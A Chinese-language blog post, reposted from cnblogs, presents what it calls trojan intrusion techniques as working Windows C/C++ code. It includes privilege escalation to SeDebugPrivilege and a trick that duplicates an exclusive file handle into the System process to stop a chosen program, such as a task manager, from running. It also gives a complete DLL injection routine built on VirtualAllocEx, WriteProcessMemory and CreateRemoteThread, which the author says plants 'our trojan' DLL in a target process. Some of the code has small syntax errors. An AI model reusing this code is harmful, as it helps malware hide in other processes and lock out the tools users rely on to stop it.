木马侵入技术小记


1在我的程序运行期间如何禁止某个程序运行,不需要枚举窗口或者FindWindow的方案。

//VC-ConsoleWithApi 
#include   
void RaiseToDebugP() //提权函数 
HANDLE hToken; 
HANDLE hProcess = GetCurrentProcess();//获得当前进程号
if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) 
{  //获得进程的访问令牌(用于修改该进程权限) 保存于hToken里
 TOKEN_PRIVILEGES tkp; 
  if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) ) 
  { //获得SE_DEBUG_NAME权限对应的GUID
   tkp.PrivilegeCount = 1
   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  
   BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ; 
  } //调整hToken句柄对应的进程的权限
 CloseHandle(hToken); 
}      
  BOOL OccupyFile( LPCTSTR lpFileName ) 
  { 
      BOOL    bRet; 
      RaiseToDebugP(); //提升自身权限 
   //打开一个pid为4的进程,只要是存在的进程,都可以 
   HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);// 4为system进程号 
      if ( hProcess == NULL ) 
      {            
    return FALSE; 
      } 
      HANDLE hFile; 
      HANDLE hTargetHandle; 
   //以独占模式打开目标文件 参数 0表示不能被共享
   hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);      
           if ( hFile == INVALID_HANDLE_VALUE ) 
      { 
          CloseHandle( hProcess ); 
          return FALSE; 
      } 
 //把文件句柄复制到pid=4的进程中去,这样,只要pid=4的进程不退出,谁也动不了目标文件 
  bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,   
          0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);        CloseHandle( hProcess );        return bRet; 
  } 
  //入口函数 
  int main() 
  { 
      OccupyFile("D:""Program Files""工具软件""任务管理.exe"); 
     //任务管理.exe为要禁止运行的程序
      return 0
  } 

2 远程注入

#include <windows.h>
 

#include <iostream.h>

int EnableDebugPriv(const char * name)
{
                           HANDLE hToken;

                           TOKEN_PRIVILEGES tp;

                           LUID luid;

                           //打开进程令牌环

 OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,  &hToken);

                           //获得进程本地唯一ID

                   

        LookupPrivilegeValue(NULL,name,&luid) ;

                           tp.PrivilegeCount = 1;

                           tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

                           tp.Privileges[0].Luid = luid;

                           //调整权限

                           AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

                           return 0;


}

//************************************************************************************************************

BOOL InjectDll(const char *DllFullPath, const DWORD dwRemoteProcessId)

{

                           HANDLE hRemoteProcess;

                           EnableDebugPriv(SE_DEBUG_NAME); //提升当前进程的权限,这样才能控制我们要注入dll的那个进程。上例有详细说明。

                           //打开远程线程

                           hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE, dwRemoteProcessId );

                      

     char *pszLibFileRemote;
                  

         //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名空间

pszLibFileRemote =(char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1, MEM_COMMIT, PAGE_READWRITE);
                          

//使用WriteProcessMemory函数将DLL的路径名写入到远程进程的内存空间
 

WriteProcessMemory(hRemoteProcess, pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);


// pszLibFileRemote 为保存dll路径的注入进程的地址。

//##############################################################################

                           //计算LoadLibraryA的入口地址

PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA"); //获得dll内函数LoadLibraryA的地址
                      

     //(关于GetModuleHandle函数GetProcAddress函数)

                           //启动远程线程LoadLibraryA,通过远程线程调用创建新的线程

        

                   HANDLE hRemoteThread;

if( (hRemoteThread = CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL) ) == NULL) //在远端进程中创建一个线程,启动我们的dll中的LoadLibraryA

                           {
                               cout<<"
注入线程失败!"<<endl;

                               return FALSE;
                           }

//##############################################################################

                      

     /*
                           //
在//###.....//###里的语句也可以用如下的语句代替:

                            DWORD dwID;

LPVOID pFunc = LoadLibraryA;

HANDLE hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );

                            //是不是感觉简单了很多

                           */

                             // 释放句柄

                           CloseHandle(hRemoteProcess);

                           CloseHandle(hRemoteThread);

                           return TRUE;
}

//*****************************************************************************************************************************

int main()

{

      InjectDll("c:""zrqfzr.dll",3060) ;//把zrqfzr.dll注入进程的ID号为3060的进程

       return 0;

}


恩好好好,我来解释一下,这就是一个最简单的控制台程序,dll文件里面就是我们写的木马程序了。3060是我们要侵占的程序的Id号,普通的程序中直接调用dll时用LoadLibrary(**.dll) 就可以了

(动态接在),但是现在我们不能直接调用,因为调用这句也只有我们现在的进程知道,但是远端我们要注入的进程还是不知道我们调用了,dll库。所以我们要把.dll

的路径存放到远端进程的内存中。(通过VirtualAllocEx()WriteProcessMemory();/)然后在远端进程中开启线程

CreateRemoteThread(hRemoteProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );注意参数pszLibFileRemote这就是远端进程保存的我们dll

文件路径的内存的首地址。通过这个路径,我们的远端进程就可以去找dll的实现文件。从而找到LoadLibraryA的地址,就可以运行LoadLibraryA函数了。

1 程序首先提升自身的权限(这样才好控制别人嘛)

2 通过进程Id获得我们要控制的进程的句柄,


3DLL文件的路径写入到宿主的内存空间里,因为DLL的文件路径并不存在于宿主进程内存空间了,用到的函数有:

OpenProcess()//用于修改宿主进程的一些属性,详细参看MSDN

VirtualAllocEx()//用于在宿主内存空间中申请内存空间以写入DLL的文件名

WriteProcessMemory();//往申请到的空间中写入DLL的文件名


4在宿主中启动新的线程

用的是LoadLibraryA()函数来加载,但在使用LoadLibraryA()之前必须知道它的入口地址,所以用GetProcAdress来获得它的入口地址,有了它的地址以后,就可以用CreateRemoteThread()

函数来启动新的线程了,到次,整个注入过程完成,不过还不非常完善,这就留给聪明的你来完成了;)。


详见:http://hi.baidu.com/43755979/blog/item/73b35eddcbaab7db8d1029e2.html

 

原文地址:https://www.cnblogs.com/SuperXJ/p/1575262.html